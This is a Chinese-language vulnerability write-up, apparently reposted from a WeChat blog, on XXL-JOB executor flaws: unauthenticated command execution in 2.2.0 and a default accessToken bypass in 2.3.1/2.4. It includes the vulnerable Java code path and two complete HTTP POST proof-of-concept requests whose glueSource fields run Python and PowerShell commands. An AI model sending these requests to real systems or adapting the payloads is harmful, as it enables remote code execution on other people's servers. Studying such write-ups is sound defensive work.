前段时间微步爆出来,我感觉和2.2.0漏洞的差不多,基本上poc算一模一样。。。
漏洞算xxl-job executor相关(xxl-job的执行器),如果没有开启执行器,可能就不存在下面的漏洞了。
2.2.0版本 rce
2.2.0这个版本比较常用,爆出来的漏洞也是挺多的。今天分析一下命令执行。(其实从界面功能看就很方便)
任务管理界面新增功能:
xxl-job GlueIDE powshell在线编辑
首先用fortify codeql扫了一遍,这个项目上fortify表现比较好。codeql没有扫出来命令执行函数。
环境搭建
-
下载2.2.0 Releases · xuxueli/xxl-job (github.com)
-
配置数据库文件
-
启动XxlJobAdminApplication XxlJobExecutorApplication (一定要两个都启动)
代码扫描:
-
危险函数:
com/xxl/job/core/util/ScriptUtil.java/execToFile
public static int execToFile(String command, String scriptFile, String logFile, String... params) throws IOException {
FileOutputStream fileOutputStream = null;
Thread inputThread = null;
Thread errThread = null;
try {
// file
fileOutputStream = new FileOutputStream(logFile, true);
// command
List<String> cmdarray = new ArrayList<>();
cmdarray.add(command);
cmdarray.add(scriptFile);
if (params!=null && params.length>0) {
for (String param:params) {
cmdarray.add(param);
}
}
String[] cmdarrayFinal = cmdarray.toArray(new String[cmdarray.size()]);
// process-exec
final Process process = Runtime.getRuntime().exec(cmdarrayFinal);
-
调用过程:
EmberServer.pocess->executorBiz.run->XxlJobExecutor.registJobThread->newJobThread.start()->JobThread.run()->handler.execute->ScriptJobHandler.execute()->ScriptUtil.execToFile
-
poc:
可以写shell powshell python java 根据自己项目需要去修改
POST /run HTTP/1.1
Host: localhost:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 404
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_PYTHON",
"glueSource": "import os;os.system(f'echo 66558889933 >> D:/abc046.txt')",
"glueUpdatetime":1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
XXL-JOB默认accessToken身份绕过漏洞
影响版本:2.3.1和2.4
配置文件中:xxl.job.accessToken=default_token
根据文档说明显示这个accessToken非空时会被启用,默认情况下就会使用配置文件中值,所以存在了身份绕过,是配置问题。
POST /run HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "SERIAL_EXECUTION",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
参考:
https://www.cnblogs.com/chm0d/p/17805168.html
mrknow001/xxl-job-rce: xxl-job未授权命令执行 (github.com)
投票:
原文始发于微信公众号(天才少女Alpha):xxl-job漏洞分析
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论